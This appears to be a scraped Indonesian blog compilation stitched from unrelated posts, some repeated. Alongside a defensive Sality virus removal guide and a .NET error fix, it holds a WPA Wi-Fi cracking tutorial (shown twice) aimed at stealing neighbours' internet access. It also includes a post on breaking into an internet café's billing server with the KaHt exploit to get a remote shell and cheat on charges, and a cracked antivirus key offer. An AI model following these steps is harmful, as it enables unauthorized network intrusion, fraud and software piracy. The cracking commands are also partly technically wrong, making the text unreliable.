Remove Virus Win32.Sector.2x (Virus Sality-Shortcut)

Virus Win32.Sector.2x adalah Virus Sality yang mempunyai metode penyebaran seperti virus shortcut yaitu dengan membuat file shortcut palsu, memanfaatkan celah keamanan .LNK (shortcut).

Gejala dan efek jika terinfeksi virus Win32.Sector.2x ini memang dapat kita ketahui, tapi untuk membersihkan virus sality-shortcut ini, terbilang tidak mudah.

Cara Pembersihan Virus Win32.Sector.2x (Remove Virus Sality-Shortcut)

1.  Putuskan koneksi jaringan/internet.

2.  Non-aktifkan program yang aktif pada start-up.

Lakukan langkah-langkah berikut :

• Klik Menu Start -> Run
• Ketik perintah pada kotak open : MSCONFIG , kemudian klik OK.
• Setelah muncul jendela “System Configuration Utility”, klik pada tab Startup.
• Pada tab startup, klik Disable All (untuk me-non aktifkan semua program yang aktif).
• Kemudian klik Apply, dan klik OK.
• Log-off komputer, kemudian login kembali (maka program pada startup tidak aktif).

3.  Matikan dan hapus virus.

Lakukan langkah-langkah berikut :

• Download tools Dr.Web CureIt untuk membersihkan virus Sality-Shortcut pada komputer yang belum terinfeksi.
• Setelah selesai, kompress file tersebut hingga menjadi file zip.
• Copy file tersebut dan letakkan dimana saja pada komputer yang terinfeksi.
• Klik kanan file zip tersebut, kemudian klik explore.
• Klik 2x file yang sudah di-explore tersebut untuk menjalankan, kemudian klik Run.
• Jika sudah muncul jendela Dr.Web CureIt, klik OK untuk menjalankan dalam mode EPM (Enhanced Protection Mode).
• Klik Start untuk memulai Scan, dan klik Yes untuk memulai.
• Biarkan hingga proses scan selesai.

4.  Hapus string yang dibuat virus pada SYSTEM.INI.

Lakukan langkah-langkah berikut :

• Klik Menu Start -> Run
• Ketik perintah pada kotak open : SYSTEM.INI , kemudian klik OK.
• Setelah muncul kotak jendela “SYSTEM.INI”, hapus string berikut :

[fje32a1s]
minr = 1
[MCIDRV_VER]
DEVICE=[angka_acak]

• Jika sudah selesai, klik File -> Save , dan klik File -> Exit

5.  Hapus string yang dibuat virus pada Windows Firewall.

Lakukan langkah-langkah berikut :

• Klik Menu Start -> Run
• Ketik perintah pada kotak open : FIREWALL.CPL , kemudian klik OK.
• Jika muncul jendela konfirmasi untuk mengaktifkan Windows Firewall (Internet Connectin Sharing), klik OK.
• Setelah muncul jendela Windows Firewall, pada tab General, sebaiknya dalam posisi “On (recommended)”.
• Selanjutnya klik pada tab Advanced, kemudian klik tombol “Restore Defaults”.
• Kemudian klik OK.

..

6.  Repair registry yang telah dimodifikasi.

Lakukan langkah-langkah berikut :

• Salin script dibawah ini dengan notepad :

[Version]

Signature=”$Chicago$”
Provider=Vaksincom Oyee

[DefaultInstall]

AddReg=UnhookRegKey
DelReg=del

[UnhookRegKey]

HKLM, Software\CLASSES\batfile\shell\open\command,,,”"”%1″” %*”
HKLM, Software\CLASSES\comfile\shell\open\command,,,”"”%1″” %*”
HKLM, Software\CLASSES\exefile\shell\open\command,,,”"”%1″” %*”
HKLM, Software\CLASSES\piffile\shell\open\command,,,”"”%1″” %*”
HKLM, Software\CLASSES\regfile\shell\open\command,,,”regedit.exe “”%1″”"
HKLM, Software\CLASSES\scrfile\shell\open\command,,,”"”%1″” %*”
HKCU, Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced, Hidden, 0×10001,0×00000001

[del]

HKCU, Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\C
HKCU, Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{5b7fdd69-e6fd-11df-a9bd-806d6172696f}
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\System, DisableRegistryTools
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\System, DisableTaskMgr
HKLM, SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system, EnableLUA
HKLM, System\CurrentControlSet\Services\amsint32

• Simpan file dengan nama “repair.inf”. Gunakan pilihan Save As Type menjadi All Files agar tidak terjadi kesalahan.
• Klik kanan file “repair.inf”, kemudian pilih “install”.
• Restart komputer.

7.  Repair Safe Mode/Safe Boot yang telah dihapus.

Lakukan langkah-langkah berikut :

• Download file registry untuk Safe Mode.
• Klik 2x salah satu file registry yang disediakan sesuai dengan versi windows yang dimiliki.

8.  Bersihkan temporary file dari jejak virus.

Lakukan langkah-langkah berikut :

• Klik Menu Start -> Run
• Ketik perintah pada kotak open : cleanmgr , kemudian klik OK.
• Pada drive system (C) klik OK, biarkan proses scan drive.
• Setelah muncul jendela Disk Cleanup, beri tanda file yang akan di hapus (terutama Temporary Files), kemudian klik OK.
• Tunggu hingga selesai.

9.  Aktifkan “System Restore”

Lakukan langkah-langkah berikut :

• Klik kanan My Computer, pilih Properties.
• Setelah muncul jendela System Properties, klik pada tab System Restore.
• Pada tab System Restore, hilangkan tanda cek pada pilihan “Turn off System Restore on all drives.
• Kemudian klik Apply, dan klik OK.

10.  Download dan Install security patch MS10-46 sesuai dengan versi windows yang anda miliki.

11.  Gunakan antivirus yang ter-update dan mengenali virus ini dengan baik untuk pembersihan yang optimal dan pencegahan infeksi ulang.

 

http://ariefew.com/virus/remove-virus-win32sector2x-virus-salityshortcut/

tutorial hack wpa

agar dapat mensukseskan teman – teman sekalian dalam berinternet gratis berikut tutorial agar dapat membobol wifii yang di proteksi dengan WPA, Tools yang perlu di siapkan adalah :

1. Kismet yaitu dengan cara ( sudo apt-get install kismet)
2. aircrack-ng yaitu dengan cara (sudo apt-get install aircrack-ng)


nah setelah 2 tools diatas telah terinstal di dalam kompi atau laptop yang berbasis kan ubuuntu maupun PClinux kita dapa berjalan atau dapat memulai tahapan – tahapannya.
adapaun tahapannya secara rinci sebagai berikut :

1. setting tools kismet agar sesuai dengan adapter wifii ada masing – masing dengan cara :

• $ sudo gedit /etc/kismet/kismet.conf ( untuk saudara ubuntu dan kawan-kawan )
• $ su nano /etc/kismet/kismet.conf ( untuk saelain ubuntu )

2. guna mendeteksi adapter wifii anda agar dapat menjalankan kismet sesuai dengan kompi atau laptop masing masing dilakukan dengan cara

• $ sudo lspci | grep Network
• setelah mendapatkan kode adapter wifii anda masuk lagi ke kismet.conf cari “source=none,none,none” ubah menjadi ” source= adapter wifii anda, wlan0,root” kemudian save.

gambar 1.1 set kismet

gambar 1.2 set kismet

• setelah melakukan cara di atas masuk pada termilal ketik $ root@ihtiar:/home/ihtiar# kismet, maka akan muncul :

gambar 1.3 kismet
nah setelah muncul kismet seperti gambar diatas selamat anda berasil melakukan seting kismet buat yang belum bisa hhehehe belajar lagi ya…………… .
setelah kismet muncul kita dapat menscan jaringan yang tercakup dalam wilayah kita berikut cara- cara penggunaan kismet :

• pertama tapa kita tekan ” S ” gunanya untuk mensortir atau memilih hasil scan
• kedua kita tekan ” B ” gunanya untuk mencari BSSID dari aces poin yang akan kita serang

nah setelah kita mengetaui BSSID dari AP yang akan kita serang semisal BSSID dari AP yang bernama Tempe (ESSID) : 11:2D:88:9D:01, tulis atau simpan dan ingat BSSID  tersebut sekarang kita bisa mulai proses penyerangan guna mendapat passwornya  hehehehehehehe

• pertama yang kita lakukan adalah ketikan pada terminal root@ihtiar:/home/ihtiar# airodump-ng –bssid 11:2D:88:9D:01 -w tempe wlan0, nah pasti bingung kan…. kok gak ada instalasi airodump-ng….. nah penjelasannya yaitu dalan instalasi aircrak-ng di dalamnya sedah terdapat paket airodump-ng, aircrack-ng, airplay-ng.
• penjelasannya airodump-ng –bssid = merupakan perintah guna menspesifikasikan alamat AP yang kita serang
• 11:2D:88:9D:01 = merupakan BSSID yang kita dapat dari kismet
• -w = merupakan perintah dimana kita akan menyimpan paket data yang nantinya digunakan untuk crack password biasanya di simpan di direktory /home.
• tempe = merupakan nama atau data yang natinya akan tersempan
• wlan0 = adalah adapter wifii kita.

nah setelah kiranya paket tersebut sudah tercukupi, semisal saya dulu pernah ambi paket sebesar 25.000 paket sekarang kita bisa melakukan craking data yang telah kita sadap dari para user guna mendapat pasword AP tersebut, yaitu dengan cara :

• ketikkan pada terminal : root@ihtiar:/home/ihtiar# aircrack-ng -t tempe-01.cap ( untuk craking binary desimal)
• ketikkan pada terminal : root@ihtiar:/home/ihtiar# aircrack-ng -h tempe-01.cap (untuk craking numerik box)
• ketikkan pada terminal : root@ihtiar:/home/ihtiar# aircrack-ng -c tempe-01.cap (untuk craking alpha numerik)
• berikut list perintah yang ada di aircrack-ng :
• aircrack-ng -c         : search alpha-numeric characters only
• aircrack-ng -t         : search binary coded decimal chr only
• aircrack-ng -h         : search the numeric key for Fritz!BOX
• aircrack-ng -n : WEP key length :  64/128/152/256/512

nah ketemukan passwordnya hehehehe…………….. semoga membantu………………….

Cara Mengatasi Application Error ( 0xc0000135 )

Jika Anda menggunakan komputer setidaknya selama satu tahun atau lebih maka kemungkinan anda akan menemukan banyak kesalahan. Di antara mereka adalah 0xc0000135 dan merupakan kesalahan yang paling umum.

Pada saat menginstal program baru atau permainan, kadang-kadang Anda akan mendapatkan pop up seperti ini :

"Aplikasi gagal untuk menginisialisasi dengan benar (0xc0000135) Klik OK untuk mengakhiri aplikasi.." Jika Anda sedang mencari solusi untuk kesalahan ini, maka anda datang ke tempat yang tepat. Namun, sebelum menuju solusi dari kesalahan ini, mari pertama mengetahui penyebabnya.

Apa yang menyebabkan error 0xc0000135 ?

Jika Anda menjalankan window XP atau Vista maka pesan kesalahan ini secara otomatis dihasilkan ketika Anda mencoba untuk memuat beberapa program yang tergantung pada program lain untuk dijalankan, tetapi ketika program lain tidak ada dalam pc / laptop Anda, kerusakan akan muncul.

Ada juga contoh lain ketika pesan kesalahan dihasilkan. Sebagai contoh, sistem operasi Anda tidak dapat mengakses program yang diperlukan, registri korup, banyak duplikat di registri, perangkat lunak anti-virus dan sebagainya.

Solusi untuk error 0xc0000135

Jika Anda menerima pesan kesalahan ini ketika menginstal beberapa program baru / permainan atau memulai program baru / game untuk pertama kalinya maka solusinya sangat mudah.

Dalam 90 persen kasus, Net framework tidak diinstal atau sudah sangat tua.

Ada sebuah alat kecil bebas yang bisa menemukan versi .Net Runtime yang terinstal pada pc / laptop Anda.. Anda dapat mendownloadnya gratis dari sini : http://fxerror.com/versioncheck.zip

Setelah meng-unzip file versioncheck .Net, buka folder, klik dua kali untuk menjalankan versioncheck tersebut. Anda akan melihat pop up seperti ini.

Tidak perlu update. Klik OK. Pop up lain akan terbuka untuk memberikan informasi mengenai ketersediaan versi berapa .Net yang terinstal pada pc / laptop Anda.

Apa itu. Net?

. NET adalah sebuah program mesin kecil yang dikembangkan oleh Microsoft. Hal ini sangat mirip dengan bahasa komputer lainnya seperti C + +, VB dot net, CLI dan Java. Mereka bertindak sebagai penengah antara komputer dan program yang ter-eksekusi. Ini seperti translator. Jika Anda tidak tahu Cyber4rt, maka tidak mungkin untuk memahami apa pun yang ditulis di Cyber4rt. Demikian pula program yang ditulis dengan menggunakan Net framework harus memenuhi persyaratan yang tepat.

Jadi, jika Anda mendapatkan pertama kalinya 0xc0000135 error ketika menginstal program baru atau game kemudian hanya menginstal versi terbaru dari dot net, yang tersedia gratis di Microsoft Download Center, mungkin akan memecahkan masalah Anda tetapi tidak permanen.

Seperti disebutkan sebelumnya, ada banyak alasan lain yang menyebabkan komputer Anda untuk pop up error0xc0000135.

Solusi lain

Ini mungkin solusi terbaik bagi orang umum yang tidak ingin memahami teknisnya, dalam rangka untuk memperbaiki masalah mereka. Download ErrorFix (gratis) dan menjalankannya. Itu saja...Secara otomatis akan membersihkan pc / laptop. Kami tidak tahu solusi lain yang lebih mudah daripada ini.

Key, crack Smadav 2011 Rev 8.5.1 Pro

Smadav telah merilis versi terbaru antivirus nya yaitu Smadav 8.5.1 pada tgl 17 mei 2011.
Fitur terbaru pada Smadav 2011 Rev. 8.5.1 adalah Smadav-Updater, Fitur update database tiap minggu (online/offline), Pendeteksian khusus untuk virus Ramnit.shortcut, Fitur baru : "Forgot Password" untuk Smadav Pro, Fitur baru : "Berita Terkini Smadav", dsb.

Jadi buat M.A Mania yang terkena virus diatas bisa coba silakan tes dengan Antivirus Smadav 2011 Rev. 8.5.1 Pro


Untuk Antivirus Smadav 2011 Rev. 8.5.1 Pro dan Key Smadav 2011 Rev.8.5.1 Pro bisa download dibawah ini.

Jangan lupa, baca terlebih dahulu panduan cara instalasi key nya agar tidak tersesat d jalan :D
Panduan instalasi key Smadav 2011 Rev.8.5.1 Pro sudah di buat secara detail, jadi tidak ada kata gagal ya :)

Antivirus Smadav 2011 Rev.8.5.1 Pro


Key Smadav 2011 Rev.8.5.1 Pro


Selamat mendownload dan menggunakan Smadav 2011 Rev.8.5.1 Pro

Key, crack Smadav 2011 Rev 8.5.1 Pro

Smadav telah merilis versi terbaru antivirus nya yaitu Smadav 8.5.1 pada tgl 17 mei 2011.
Fitur terbaru pada Smadav 2011 Rev. 8.5.1 adalah Smadav-Updater, Fitur update database tiap minggu (online/offline), Pendeteksian khusus untuk virus Ramnit.shortcut, Fitur baru : "Forgot Password" untuk Smadav Pro, Fitur baru : "Berita Terkini Smadav", dsb.

Jadi buat M.A Mania yang terkena virus diatas bisa coba silakan tes dengan Antivirus Smadav 2011 Rev. 8.5.1 Pro


Untuk Antivirus Smadav 2011 Rev. 8.5.1 Pro dan Key Smadav 2011 Rev.8.5.1 Pro bisa download dibawah ini.

Jangan lupa, baca terlebih dahulu panduan cara instalasi key nya agar tidak tersesat d jalan :D
Panduan instalasi key Smadav 2011 Rev.8.5.1 Pro sudah di buat secara detail, jadi tidak ada kata gagal ya :)

Antivirus Smadav 2011 Rev.8.5.1 Pro


Key Smadav 2011 Rev.8.5.1 Pro


Selamat mendownload dan menggunakan Smadav 2011 Rev.8.5.1 Pro

Hacking Billing Warnet menggunakan DOS

Wah senangnya udah nemu cara baru buat ngakalin billing warnet sialan itu, nih juga sangat simple banget. Anda boleh coba cara ini, memang terkadang berhasil, juga kadang kadang gagal. Tapi sebagai bahan latihan dicoba saja deh.
Saat ini saya sedang mencari cari dimana letak kesalahan penggunaan dos tersebut. Cara ini saya dapatkan hanya sebagai iseng belaka dan hanya coba coba, siapa tahu cara ini berhasil.
Hal ini saya coba di warnet Driyorejo - Lopang pada pukul 8 malam. Nama warnetnya D-Z****t (disamarkan). Warnet ini menurut saya lemah dalam hal security
Tak usah banyak cingcong lah, nanti kite orang dimarahi kak ros,"cakap si ipin". hehehehehe

Pertama periksa dahulu spesifikasi sebagai berikut:
1. Server billing sebagai tempat pembayaran menggunakan Windows XP.
2. Billing Client adalah billing explorer.
3. Koneksi antar billing menggunakan LAN biasa.
4. Baik Client maupun Server billing kurang aman



Coba punya coba, akhirnya penulis masuk ke sana :P dan karena server billing tersebut menggunakan Windows XP maka saya masuk dengan menggunakan Kaht, saat ini Kaht sangat sulit sekali didapatkan, karena software ini tergolong dilarang. Namun coba saja untuk mencarinya

download saja disini kalo lebih gampangnya, klik disini

Berikut ini cara menggunakan Kaht, berikut ini singkatnya :
1. copy file kaht.exe ke drive c (misalnya)
2. buka command prompt c:\
3. ketikkan di prompt tadi c:\kaht.exe ip1 ip2 (contoh : c:\kaht.exe 192.168.1.1 192.168.1.100)
4. ip1 dan ip2 adalah range ip di jaringan kita ( kaht akan menscan computer yang vuln (biasanya win xp sp 1 kebawah)
5. setelah kaht mendapatkan komputer yang vuln dia akan langsung masuk ke komputer tadi dan prompt c:\ kita tadi akan berubah menjadi prompt c:\system32\ pada komputer korban, apabila itu terjadi maka artinya kita sudah ada di komputer korban tersebut
6. selanjutnya gunakan kemampuan kamu untuk mengeksplorasi komputer dengan menggunakan berbagai perintah dos
7. selamat belajar
Saya melihat di billing clientnya, ternyata jam yang terpampang di client sama dengan jam di billing dengan asumsi perhitungan koneksi mengikuti arah jam client. Wah, saya terus bergembira, ternyata caranya saya kira lebih mudah :P
Lalu saya coba buka START =-> Run =-> Command,
Maka keluarlah kotak hitam seperti ini :


lalu penulis ketikkan command : time sehingga keluar seperti ini


Dan ternyata ketika saya mencoba mengubah set waktunya ke 20 menit sebelumnya eh ternyata billingnya bereaksi. Aseekkk... saya berhasil menghack billing, pikirku.
Kemudian saya jadi tenang deh maennya. Kalo udah maen 2 jam saya set balik jadi 1 jam, hehehe... mati kau billing

Tetapi meskipun cara ini sangat praktis, tapi juga kadang terhadi kegagalan. Semua itu tergantung dari tingkat keamanan warnet dan keahlian sang pemakai, hehehe.

Pesan saya Andra, Tetap jaga kebencian anda pada billing. Sampai kapanpun seorang hacker (newbie) harus membenci billing, jika tidak benci, maka dia bukanlah seorang yang memiliki keberanian
Hahahahaha, just kidding. Tapi jangan terlalu benci, ntar jadi penyakit. Bravo Fucking billing

Tutorial Hack wpa

agar dapat mensukseskan teman – teman sekalian dalam berinternet gratis berikut tutorial agar dapat membobol wifii yang di proteksi dengan WPA, Tools yang perlu di siapkan adalah :

1. Kismet yaitu dengan cara ( sudo apt-get install kismet)
2. aircrack-ng yaitu dengan cara (sudo apt-get install aircrack-ng)


nah setelah 2 tools diatas telah terinstal di dalam kompi atau laptop yang berbasis kan ubuuntu maupun PClinux kita dapa berjalan atau dapat memulai tahapan – tahapannya.
adapaun tahapannya secara rinci sebagai berikut :

1. setting tools kismet agar sesuai dengan adapter wifii ada masing – masing dengan cara :

• $ sudo gedit /etc/kismet/kismet.conf ( untuk saudara ubuntu dan kawan-kawan )
• $ su nano /etc/kismet/kismet.conf ( untuk saelain ubuntu )

2. guna mendeteksi adapter wifii anda agar dapat menjalankan kismet sesuai dengan kompi atau laptop masing masing dilakukan dengan cara

• $ sudo lspci | grep Network
• setelah mendapatkan kode adapter wifii anda masuk lagi ke kismet.conf cari “source=none,none,none” ubah menjadi ” source= adapter wifii anda, wlan0,root” kemudian save.

gambar 1.1 set kismet

gambar 1.2 set kismet

• setelah melakukan cara di atas masuk pada termilal ketik $ root@ihtiar:/home/ihtiar# kismet, maka akan muncul :

gambar 1.3 kismet
nah setelah muncul kismet seperti gambar diatas selamat anda berasil melakukan seting kismet buat yang belum bisa hhehehe belajar lagi ya…………… .
setelah kismet muncul kita dapat menscan jaringan yang tercakup dalam wilayah kita berikut cara- cara penggunaan kismet :

• pertama tapa kita tekan ” S ” gunanya untuk mensortir atau memilih hasil scan
• kedua kita tekan ” B ” gunanya untuk mencari BSSID dari aces poin yang akan kita serang

nah setelah kita mengetaui BSSID dari AP yang akan kita serang semisal BSSID dari AP yang bernama Tempe (ESSID) : 11:2D:88:9D:01, tulis atau simpan dan ingat BSSID  tersebut sekarang kita bisa mulai proses penyerangan guna mendapat passwornya  hehehehehehehe

• pertama yang kita lakukan adalah ketikan pada terminal root@ihtiar:/home/ihtiar# airodump-ng –bssid 11:2D:88:9D:01 -w tempe wlan0, nah pasti bingung kan…. kok gak ada instalasi airodump-ng….. nah penjelasannya yaitu dalan instalasi aircrak-ng di dalamnya sedah terdapat paket airodump-ng, aircrack-ng, airplay-ng.
• penjelasannya airodump-ng –bssid = merupakan perintah guna menspesifikasikan alamat AP yang kita serang
• 11:2D:88:9D:01 = merupakan BSSID yang kita dapat dari kismet
• -w = merupakan perintah dimana kita akan menyimpan paket data yang nantinya digunakan untuk crack password biasanya di simpan di direktory /home.
• tempe = merupakan nama atau data yang natinya akan tersempan
• wlan0 = adalah adapter wifii kita.

nah setelah kiranya paket tersebut sudah tercukupi, semisal saya dulu pernah ambi paket sebesar 25.000 paket sekarang kita bisa melakukan craking data yang telah kita sadap dari para user guna mendapat pasword AP tersebut, yaitu dengan cara :

• ketikkan pada terminal : root@ihtiar:/home/ihtiar# aircrack-ng -t tempe-01.cap ( untuk craking binary desimal)
• ketikkan pada terminal : root@ihtiar:/home/ihtiar# aircrack-ng -h tempe-01.cap (untuk craking numerik box)
• ketikkan pada terminal : root@ihtiar:/home/ihtiar# aircrack-ng -c tempe-01.cap (untuk craking alpha numerik)
• berikut list perintah yang ada di aircrack-ng :
• aircrack-ng -c         : search alpha-numeric characters only
• aircrack-ng -t         : search binary coded decimal chr only
• aircrack-ng -h         : search the numeric key for Fritz!BOX
• aircrack-ng -n : WEP key length :  64/128/152/256/512

nah ketemukan passwordnya hehehehe…………….. semoga membantu………………….